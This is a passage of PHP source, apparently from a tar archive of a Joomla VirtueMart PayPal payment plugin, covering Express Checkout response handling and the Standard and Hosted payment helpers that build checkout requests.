$this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i]; $error .= ": " . $message . "
"; } if ($this->_method->debug) { $public_error = $error; } $this->debugLog($this->response, 'handleResponse:', 'debug'); VmError($error, $public_error); return false; } elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) { return true; } else { // Unexpected ACK type. Log response and inform the buyer that the // transaction must be manually investigated. $error = ''; $public_error = ''; $error="Unexpected ACK type:". $this->response['ACK']; $this->debugLog($this->response, 'Unexpected ACK type:', 'debug'); if ($this->_method->debug) { $public_error = $error; } VmError($error, $public_error); return false; } } } function storeAddresses() { $this->cart = VirtueMartCart::getCart(); $addressST = $addressBT = array(); if ($this->response['SHIPTONAME'] == $this->response['FIRSTNAME'] . ' ' . $this->response['LASTNAME']) { $firstName = $this->response['FIRSTNAME']; $lastName = $this->response['LASTNAME']; } else { $shipToName = explode(' ', $this->response['SHIPTONAME']); $firstName = $shipToName[0]; $lastName = ''; if (count($shipToName) > 1) { $lastName = str_replace($firstName . ' ', '', $this->response['SHIPTONAME']); } } if ($this->cart->BT == 0 or empty($this->cart->BT)) { $addressBT['email'] = $this->response['EMAIL']; $addressBT['first_name'] = $firstName; $addressBT['last_name'] = $lastName; $addressBT['address_1'] = $this->response['SHIPTOSTREET']; $addressBT['city'] = $this->response['SHIPTOCITY']; $addressBT['zip'] = $this->response['SHIPTOZIP']; $addressBT['virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']); $addressBT['virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']); $this->cart->saveAddressInCart($addressBT, 'BT', true); } $addressST['shipto_address_type_name'] = 'PayPal Account'; $addressST['shipto_first_name'] = $firstName; $addressST['shipto_last_name'] = $lastName; $addressST['shipto_address_1'] = $this->response['SHIPTOSTREET']; $addressST['shipto_city'] = $this->response['SHIPTOCITY']; $addressST['shipto_zip'] = $this->response['SHIPTOZIP']; $addressST['shipto_virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']); $addressST['shipto_virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']); $this->cart->STsameAsBT = 0; $this->cart->setCartIntoSession (); $this->cart->saveAddressInCart($addressST, 'ST', true); } function storeNoteToSeller() { if (array_key_exists('PAYMENTREQUEST_0_NOTETEXT', $this->response)) { $this->cart = VirtueMartCart::getCart(); $this->cart->customer_comment = $this->response['PAYMENTREQUEST_0_NOTETEXT']; $this->cart->setCartIntoSession(); } } function storePayerId() { if (array_key_exists('PAYERID', $this->response)) { $this->customerData->setVar('payer_id', $this->response['PAYERID']); $this->customerData->save(); } } function storePayerStatus() { if (array_key_exists('PAYERSTATUS', $this->response)) { $this->customerData->setVar('payerstatus', $this->response['PAYERSTATUS']); $this->customerData->save(); } } function redirectToPayPal($token = '') { $useraction = ''; if ($this->response['method'] == 'DoExpressCheckoutPayment') { $useraction = '&useraction=commit'; } if (empty($token)) { $token = $this->response['TOKEN']; } jimport('joomla.environment.browser'); $browser = JBrowser::getInstance(); if ($browser->isMobile()) { $url = $this->_getPayPalUrl() . '?cmd=_express-checkout-mobile&token=' . $token . $useraction; } else { $url = $this->_getPayPalUrl() . '?cmd=_express-checkout&token=' . $token . $useraction; } if ($this->_method->debug) { echo '
The method is in debug mode. Click here to be redirected to PayPal
'; jexit(); } else { //header('location: ' . $url); $app = JFactory::getApplication(); $app->redirect($url); } } function validate($enqueueMessage = true) { //if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) { if (!$this->customerData->getVar('token')) { $this->getToken(); //Code stops here as the getToken method should redirect to PayPal } elseif (!$this->customerData->getVar('payer_id')) { $this->customerData->clear(); $this->getToken(); } else { return parent::validate(); } } function setExpressCheckout($enqueueMessage = true) { //if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) { // Checks if there is already a token. If not create one. if (!$this->customerData->getVar('token')) { $this->getToken(); //Code stops here as the getToken method should redirect to PayPal } else { return parent::validate(); } $success = $this->ManageCheckout(true); $response = $this->getResponse(); } public function getResponse($withCustomerData = true) { $response = parent::getResponse(); if (is_array($this->order) && is_object($this->order['details']['BT'])) { $response['invoice'] = $this->order['details']['BT']->order_number; } else if (is_object($this->order)) { $response['invoice'] = $this->order->order_number; } if ($withCustomerData) { $response['payer_id'] = $this->customerData->getVar('payer_id'); $response['first_name'] = $this->customerData->getVar('first_name'); $response['last_name'] = $this->customerData->getVar('last_name'); $response['payer_email'] = $this->customerData->getVar('payer_email'); } return $response; } function getExtraPluginInfo() { $extraInfo = ''; //Are we coming back from Express Checkout? $expressCheckout = JRequest::getVar('expresscheckout', ''); if ($expressCheckout == 'cancel') { $this->customerData->clear(); if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } if (!$this->customerData->getVar('token')) { $this->getToken(); } elseif ($expressCheckout == 'done') { $this->getExpressCheckoutDetails(); } $extraInfo .= parent::getExtraPluginInfo(); return $extraInfo; } protected function getDurationUnit($duration) { $parts = explode('-', $duration); switch ($parts[1]) { case 'D': return 'Day'; case 'W': return 'Week'; case 'M': return 'Month'; case 'Y': return 'Year'; } } /** * Accelerated Onboarding only allowed for Sales Payment * @return string */ function GetPaymentAction() { if ($this->isAacceleratedOnboarding()) { return 'Sale'; } else { return $this->_method->payment_action; } } /** * This page returns a 404 https://www.paypal.com/mx/cgi-bin/?cmd=xpt/Merchant/merchant/ExpressCheckoutButtonCode-outside * * code form here * https://www.paypalobjects.com/IntegrationCenter/ic_express-buttons.html * @return array */ function getExpressCheckoutButton() { $button = array(); $lang = jFactory::getLanguage(); $lang_iso = str_replace('-', '_', $lang->gettag()); $available_buttons = array('en_US', 'en_GB', 'de_DE', 'es_ES', 'pl_PL', 'nl_NL', 'fr_FR', 'it_IT', 'zn_CN'); if (!in_array($lang_iso, $available_buttons)) { $lang_iso = 'en_US'; } // SetExpressCheckout $button['link'] = JURI::root() . 'index.php?option=com_virtuemart&view=plugin&type=vmpayment&name=' . $this->_method->payment_element . '&action=SetExpressCheckout&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id; $button['img'] = JURI::root() . 'plugins/vmpayment/' . $this->_method->payment_element . '/' . $this->_method->payment_element . '/assets/images/PP_Buttons_CheckOut_119x24_v3.png'; return $button; } function getExpressProduct() { $lang = jFactory::getLanguage(); $lang_iso = str_replace('-', '_', $lang->gettag()); $paypal_buttonurls = array('en_US' => 'https://www.paypal.com/en_US/i/logo/PayPal_mark_60x38.gif', 'en_GB' => 'https://www.paypal.com/en_GB/i/bnr/horizontal_solution_PP.gif', 'de_DE' => 'https://www.paypal.com/de_DE/DE/i/logo/lockbox_150x47.gif', 'es_ES' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'pl_PL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'nl_NL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'fr_FR' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'it_IT' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/it_IT/IT/i/bnr/bnr_horizontal_solution_PP_178wx80h.gif', 'zn_CN' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif'); $paypal_infolink = array('en_US' => 'https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'en_GB' => 'https://www.paypal.com/uk/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'de_DE' => 'https://www.paypal.com/de/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'es_ES' => 'https://www.paypal.com/es/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'pl_PL' => 'https://www.paypal.com/pl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'nl_NL' => 'https://www.paypal.com/nl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'fr_FR' => 'https://www.paypal.com/fr/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'it_IT' => 'https://www.paypal.com/it/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'zn_CN' => 'https://www.paypal.com/cn/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside'); if (!isset($paypal_buttonurls[$lang_iso])) { $lang_iso = 'en_US'; } $paypalProduct['link'] = $paypal_infolink[$lang_iso]; $paypalProduct['img'] = $paypal_buttonurls[$lang_iso]; return $paypalProduct; } function getOrderBEFields() { $showOrderFields = array( 'ACK' => 'PAYMENTINFO_0_ACK', 'TXN_ID' => 'PAYMENTINFO_0_TRANSACTIONID', 'CORRELATIONID' => 'CORRELATIONID', 'PAYER_ID' => 'payer_id', 'MC_GROSS' => 'PAYMENTINFO_0_AMT', 'MC_FEE' => 'PAYMENTINFO_0_FEEAMT', 'TAXAMT' => 'PAYMENTINFO_0_TAXAMT', 'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE', 'PAYMENT_STATUS' => 'PAYMENTINFO_0_PAYMENTSTATUS', 'PENDING_REASON' => 'PAYMENTINFO_0_PENDINGREASON', 'REASON_CODE' => 'PAYMENTINFO_0_REASONCODE', 'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE', 'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY', 'PROTECTION_ELIGIBILITYTYPE' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITYTYPE' ); return $showOrderFields; } function highlight($field) { return '' . $field . ''; } } helpers/paypalstd.php000066600000041457151374100140010733 0ustar00_method->sandbox ) { $this->merchant_email = $this->_method->sandbox_merchant_email; } else { $this->merchant_email = $this->_method->paypal_merchant_email; } if (empty($this->merchant_email)) { $sandbox = ""; if ($this->_method->sandbox ) { $sandbox = 'SANDBOX_'; } $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'MERCHANT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); return FALSE; } } public function ManageCheckout() { return $this->preparePost(); } public function preparePost() { $post_variables = $this->initPostVariables($this->_method->payment_type); $paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency); switch ($this->_method->payment_type) { case '_xclick': case '_donations': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; $post_variables['amount'] = $this->total; break; case '_oe-gift-certificate': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; //$post_variables['amount'] = round ($paymentCurrency->convertCurrencyTo ($this->_method->payment_currency, $this->order['details']['BT']->order_total, FALSE), 2);; $post_variables['fixed_denom'] = vmPSPlugin::getAmountValueInCurrency($this->order['details']['BT']->order_salesPrice, $this->_method->payment_currency); //$post_variables['min_denom'] = $this->total; //$post_variables['max_denom'] = $this->total; $post_variables['shopping_url'] = JURI::root(); $post_variables['buyer_name'] = $this->order['details']['BT']->first_name . ' ' . $this->order['details']['BT']->last_name; if (array_key_exists('ST', $this->order['details'])) { $post_variables['recipient_name'] = $this->order['details']['ST']->first_name . ' ' . $this->order['details']['ST']->last_name; } break; case '_cart': $this->addPrices($post_variables); break; case '_xclick-subscriptions': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; if ($this->_method->subcription_trials) { $post_variables['a1'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; //Trial1 price. $post_variables['p1'] = $this->getDurationValue($this->_method->trial1_duration); $post_variables['t1'] = $this->getDurationUnit($this->_method->trial1_duration); } /*if ($this->_method->subcription_trials == 2) { $post_variables['a2'] = ($this->_method->trial2_price) ? $this->_method->trial2_price : 0; //Trial2 price. $post_variables['p2'] = $this->getDurationValue($this->_method->trial2_duration); $post_variables['t2'] = $this->getDurationUnit($this->_method->trial2_duration); }*/ $post_variables['a3'] = $this->total; //Regular subscription price. $post_variables['p3'] = $this->getDurationValue($this->_method->subscription_duration); $post_variables['t3'] = $this->getDurationUnit($this->_method->subscription_duration); $post_variables['src'] = 1; //Recurring payments. Subscription payments recur unless subscribers cancel their subscriptions before the end of the current billing cycle or you limit the number of times that payments recur with the value that you specify for srt $post_variables['srt'] = $this->_method->subscription_term; //Recurring times. Number of times that subscription payments recur. Specify an integer with a minimum value of 1 and a maximum value of 52. Valid only if you specify src="1" $post_variables['sra'] = 1; //Reattempt on failure. If a recurring payment fails, PayPal attempts to collect the payment two more times before canceling the subscription. $post_variables['modify'] = 0; //Modification behavior. Allowable values are: //0 – allows subscribers only to sign up for new subscriptions, //1 – allows subscribers to sign up for new subscriptions and modify their current subscriptions //2 – allows subscribers to modify only their current subscriptions break; case '_xclick-auto-billing': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; //A description of the automatic billing plan. $post_variables['max_text'] = $this->_method->payment_desc; //Specify whether to let buyers enter maximum billing limits in a text box or choose from a list of maximum billing limits that you specify. //Allowable values are: //max_limit_own – your button displays a text box for buyers to enter their own maximums above a minimum billing limit that you set with the min_amount variable. //max_limit_defined – your button displays a dropdown menu of product options with prices to let buyers choose their maximum billing limits. $post_variables['set_customer_limit'] = 'max_limit_defined'; //The minimum monthly billing limit, if you have one. Valid only if set_customer_limit = max_limit_own. //$post_variables['min_amount'] = 0; $post_variables['min_amount'] = $this->total; switch ($this->_method->billing_max_amount_type) { case 'cust': $post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->customerData->getVar('autobilling_max_amount'), $this->_method->payment_currency); break; case 'value': $post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->_method->billing_max_amount, $this->_method->payment_currency); break; case 'perc': $percentage = $this->_method->billing_max_amount; $max_amount = ($this->total * floatval($percentage)) / 100 + $this->total; $post_variables['max_amount'] = round($max_amount, 2); break; case 'cart': default: $post_variables['max_amount'] = $this->total; break; } break; case '_xclick-payment-plan': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; $post_variables['disp_tot'] = 'Y'; //Display the total payment amount to buyers during checkout $post_variables['option_index'] = 0; $post_variables['option_select0_type'] = 'E'; //F – pay in full, at checkout, E – pay in equal periods, beginning at checkout or sometime later, V – pay in variable periods, beginning at checkout if ($this->_method->payment_plan_defer) { $post_variables['option_select0_a0'] = '0.00'; $post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_defer_duration); $post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_defer_duration); $post_variables['option_select0_n0'] = 1; $post_variables['option_select0_a1'] = round($this->total / $this->_method->payment_plan_term, 2); $post_variables['option_select0_p1'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['option_select0_t1'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['option_select0_n1'] = $this->_method->payment_plan_term; } else { $post_variables['option_select0_a0'] = round($this->total / $this->_method->payment_plan_term, 2); $post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['option_select0_n0'] = $this->_method->payment_plan_term; } $post_variables['os0'] = 'pay-in-' . $this->_method->payment_plan_term; $post_variables['option_select0'] = 'pay-in-' . $this->_method->payment_plan_term; $post_variables['option_select0_name'] = $this->_method->payment_name; } $url = $this->_getPayPalUrl(); // add spin image $html = 'Redirection
'; if ($this->_method->debug) { $html .= '
'; } else { $html .= ''; } $html .= ''; foreach ($post_variables as $name => $value) { $html .= ''; } if ($this->_method->debug ) { if ($this->_method->debug) { $html .= '
'; } $this->debugLog($post_variables, 'PayPal request:', 'debug'); } else { $html .= ' '; } $html .= '
'; $html .= ''; return $html; } // todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge function initPostVariables($payment_type) { $address = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); $post_variables = Array(); $post_variables['cmd'] = '_ext-enter'; $post_variables['redirect_cmd'] = $payment_type; $post_variables['paymentaction'] = strtolower($this->_method->payment_action); $post_variables['upload'] = '1'; $post_variables['business'] = $this->merchant_email; //Email address or account ID of the payment recipient (i.e., the merchant). $post_variables['receiver_email'] = $this->merchant_email; //Primary email address of the payment recipient (i.e., the merchant $post_variables['order_number'] = $this->order['details']['BT']->order_number; $post_variables['invoice'] = $this->order['details']['BT']->order_number; $post_variables['custom'] = $this->context; $post_variables['currency_code'] = $this->currency_code_3; if ($payment_type == '_xclick') { $post_variables['address_override'] = $this->_method->address_override; // 0 ?? Paypal does not allow your country of residence to ship to the country you wish to } $post_variables['first_name'] = $address->first_name; $post_variables['last_name'] = $address->last_name; $post_variables['address1'] = $address->address_1; $post_variables['address2'] = isset($address->address_2) ? $address->address_2 : ''; $post_variables['zip'] = $address->zip; $post_variables['city'] = $address->city; $post_variables['state'] = isset($address->virtuemart_state_id) ? ShopFunctions::getStateByID($address->virtuemart_state_id, 'state_2_code') : ''; $post_variables['country'] = ShopFunctions::getCountryByID($address->virtuemart_country_id, 'country_2_code'); $post_variables['email'] = $this->order['details']['BT']->email; $post_variables['night_phone_b'] = $address->phone_1; $post_variables['return'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid' ). '&lang='.JRequest::getCmd('lang','') ; //Keep this line, needed when testing //$post_variables['return'] = JRoute::_(JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'), $post_variables['notify_url'] = JURI::root() . 'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component' . '&lang='.JRequest::getCmd('lang','') ; $post_variables['cancel_return'] =JURI::root(). 'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','') ; //$post_variables['undefined_quantity'] = "0"; //$post_variables['test_ipn'] = $this->_method->debug; $post_variables['rm'] = '2'; // the buyer’s browser is redirected to the return URL by using the POST method, and all payment variables are included // todo: check when in subdirectories // todo add vendor image //$post_variables['image_url'] = JURI::root() . $vendor->images[0]->file_url; $post_variables['bn'] = self::BNCODE; $post_variables['no_shipping'] = $this->_method->no_shipping; $post_variables['no_note'] = "1"; if (empty($this->_method->headerimg) OR $this->_method->headerimg == -1 ) { $post_variables['image_url'] = $this->getLogoImage(); } else { $post_variables['cpp_header_image'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->headerimg; } /* * The HTML hex code for your principal identifying color. * Valid only for Buy Now and Add to Cart buttons and the Cart Upload command. * Not used with Subscribe, Donate, or Buy Gift Certificate buttons. */ if ($this->_method->bordercolor) { $post_variables['cpp_cart_border_color'] = str_replace('#', '', strtoupper($this->_method->bordercolor)); } // TODO Check that paramterer /* * cpp_payflow_color The background color for the checkout page below the header. * Deprecated for Buy Now and Add to Cart buttons and the Cart Upload command * */ // $post_variables['cpp_payflow_color'] = 'ff0033'; return $post_variables; } function addPrices(&$post_variables) { $paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency); $i = 1; // Product prices if ($this->cart->products) { foreach ($this->cart->products as $key => $product) { $post_variables["item_name_" . $i] = $this->getItemName($product->product_name); if ($product->product_sku) { $post_variables["item_number_" . $i] = $product->product_sku; } $post_variables["amount_" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]); $post_variables["quantity_" . $i] = $product->quantity; $i++; } } $post_variables["handling_cart"] = $this->getHandlingAmount(); $post_variables["handling_cart"] += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency); $post_variables['currency_code'] = $this->currency_code_3; if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) { $post_variables['discount_amount_cart'] = abs(vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency)); } $pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency); } function getExtraPluginInfo() { return; } function getOrderBEFields() { $showOrderBEFields = array( 'TXN_ID' => 'txn_id', 'PAYER_ID' => 'payer_id', 'PAYER_STATUS' => 'payer_status', 'PAYMENT_TYPE' => 'payment_type', 'MC_GROSS' => 'mc_gross', 'MC_FEE' => 'mc_fee', 'TAXAMT' => 'tax', 'MC_CURRENCY' => 'mc_currency', 'PAYMENT_STATUS' => 'payment_status', 'PENDING_REASON' => 'pending_reason', 'REASON_CODE' => 'reason_code', 'PROTECTION_ELIGIBILITY' => 'protection_eligibility', 'ADDRESS_STATUS' => 'address_status' ); return $showOrderBEFields; } function onShowOrderBEPaymentByFields($payment) { $prefix = "paypal_response_"; $html=""; $showOrderBEFields=$this->getOrderBEFields(); foreach ($showOrderBEFields as $key => $showOrderBEField) { $field=$prefix.$showOrderBEField; // only displays if there is a value or the value is different from 0.00 and the value if ($payment->$field) { $html .= $this->paypalPlugin->getHtmlRowBE($prefix.$key, $payment->$field); } } return $html; } }helpers/.htaccess000066600000000177151374100140010011 0ustar00 Order allow,deny Deny from all helpers/paypalhosted.php000066600000040073151374100140011420 0ustar00_method->sandbox ) { $this->api_login_id = $this->_method->sandbox_api_login_id; $this->api_signature = $this->_method->sandbox_api_signature; $this->api_password = $this->_method->sandbox_api_password; } else { $this->api_login_id = $this->_method->api_login_id; $this->api_signature = $this->_method->api_signature; $this->api_password = $this->_method->api_password; } if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); } if ((empty ($this->_method->payflow_partner) OR empty($this->_method->sandbox_payflow_partner))) { $sandbox = ""; if ($this->_method->sandbox ) { $sandbox = 'SANDBOX_'; } $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'PAYFLOW_PARTNER'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text); } } public function ManageCheckout() { return $this->preparePost(); } // todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge // verfiez la langue, à cause accent function initPostVariables($paypalMethod) { $post_variables = Array(); $post_variables['METHOD'] = $paypalMethod; $post_variables['VERSION'] = self::BM_BUTTON_VERSION; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/ $post_variables['USER'] = $this->api_login_id; $post_variables['PWD'] = $this->api_password; $post_variables['SIGNATURE'] = $this->api_signature; $post_variables['BUTTONTYPE'] = self::BM_BUTTON_TYPE; $post_variables['BUTTONCODE'] = self::BM_BUTTON_CODE; $post_variables['BUTTONIMAGEURL'] = 'https://www.paypal.com/en_US/i/btn/btn_paynow_SM.gif'; //we automatically redirect to paypal $post_variables['L_BUTTONVAR']['bn'] = self::BNCODE; // Identifies the source that built the code. return $post_variables; } function addBillTo(&$post_variables) { $addressBT = $this->order['details']['BT']; //Bill To $post_variables['L_BUTTONVAR']['billing_address1'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : ''; $post_variables['L_BUTTONVAR']['billing_address2'] = isset($addressBT->address_2) ? $this->truncate($addressBT->address_2, 60) : ''; $post_variables['L_BUTTONVAR']['billing_city'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : ''; $post_variables['L_BUTTONVAR']['billing_zip'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : ''; $post_variables['L_BUTTONVAR']['billing_state'] = isset($addressBT->virtuemart_state_id) ? $this->truncate(ShopFunctions::getStateByID($addressBT->virtuemart_state_id), 20) : ''; $post_variables['L_BUTTONVAR']['billing_country'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code'); } function addShipTo(&$post_variables) { $addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); //Ship To $post_variables['L_BUTTONVAR']['first_name'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; // First name of person the item is being shipped to. $post_variables['L_BUTTONVAR']['last_name'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; // Last name of person the item is being shipped to. $post_variables['L_BUTTONVAR']['address1'] = isset($addressST->address_1) ? $this->truncate($addressST->address_1, 60) : ''; $post_variables['L_BUTTONVAR']['address2'] = isset($addressST->address_2) ? $this->truncate($addressST->address_2, 60) : ''; } function addPaymentPageParams(&$post_variables) { $post_variables['L_BUTTONVAR']['template'] = $this->_method->template; if ($this->_method->bordercolor) { $post_variables['L_BUTTONVAR']['bodyBgColor'] = strtoupper($this->_method->bordercolor); $post_variables['L_BUTTONVAR']['payflowcolor'] = '#ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor)); } $post_variables['L_BUTTONVAR']['headerBgColor'] = strtoupper($this->_method->headerBgColor); $post_variables['L_BUTTONVAR']['headerHeight'] = $this->_method->headerHeight; $post_variables['L_BUTTONVAR']['logoFont'] = $this->_method->logoFont; $post_variables['L_BUTTONVAR']['logoFontSize'] = $this->_method->logoFontSize; $post_variables['L_BUTTONVAR']['logoFontColor'] = $this->_method->logoFontColor; if ($this->_method->bodyBgImg) { $post_variables['L_BUTTONVAR']['bodyBgImg'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->bodyBgImg; } $post_variables['L_BUTTONVAR']['logoImage'] = $this->getLogoImage(); $post_variables['L_BUTTONVAR']['bodyBgColor'] = $this->_method->bodyBgColor; $post_variables['L_BUTTONVAR']['PageTitleTextColor'] = $this->_method->PageTitleTextColor; $post_variables['L_BUTTONVAR']['PageCollapseBgColor'] = $this->_method->PageCollapseBgColor; //$post_variables['L_BUTTONVAR']['PageCollapseTextColor'] = $this->_method->PageCollapseTextColor; $post_variables['L_BUTTONVAR']['orderSummaryBgColor'] = $this->_method->orderSummaryBgColor; if ($this->_method->orderSummaryBgImage) { $post_variables['L_BUTTONVAR']['orderSummaryBgImage'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->orderSummaryBgImage; } $post_variables['L_BUTTONVAR']['footerTextColor'] = $this->_method->footerTextColor; $post_variables['L_BUTTONVAR']['footerTextlinkColor'] = $this->_method->footerTextlinkColor; $post_variables['L_BUTTONVAR']['pageButtonBgColor'] = $this->_method->pageButtonBgColor; $post_variables['L_BUTTONVAR']['pageButtonTextColor'] = $this->_method->pageButtonTextColor; $post_variables['L_BUTTONVAR']['pageTitleTextColor'] = $this->_method->pageTitleTextColor; $post_variables['L_BUTTONVAR']['sectionBorder'] = $this->_method->sectionBorder; } function addOrderInfos(&$post_variables) { $post_variables['L_BUTTONVAR']['buyer_email'] = $this->order['details']['BT']->email; //Email address of the buyer. if (is_array($this->order) && is_object($this->order['details']['BT'])) { $post_variables['L_BUTTONVAR']['invoice'] = $this->order['details']['BT']->order_number; } else { if (is_object($this->order)) { $post_variables['L_BUTTONVAR']['invoice'] = $this->order->order_number; } } } function addPrices(&$post_variables) { } function addAmount(&$post_variables) { // Website Payment Standard has separate values for amount and quantity, whereas Hosted Solution uses subtotal only. // Ensure that the subtotal includes the amount you want to charge the buyer, taking into account any applicable discount and the quantity of items. $post_variables['L_BUTTONVAR']['subtotal'] = $this->total; // Amount charged for the transaction. If shipping, handling, Yes and taxes are not specified, this is the total amount charged. $post_variables['L_BUTTONVAR']['currency_code'] = $this->currency_code_3; } function addUrls(&$post_variables) { $post_variables['L_BUTTONVAR']['return'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='. JRequest::getCmd('lang',''); $post_variables['L_BUTTONVAR']['notify_url'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'.'&lang='. JRequest::getCmd('lang',''); $post_variables['L_BUTTONVAR']['cancel_return'] =JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='. JRequest::getCmd('lang',''); } function addConfigPaymentParams(&$post_variables) { 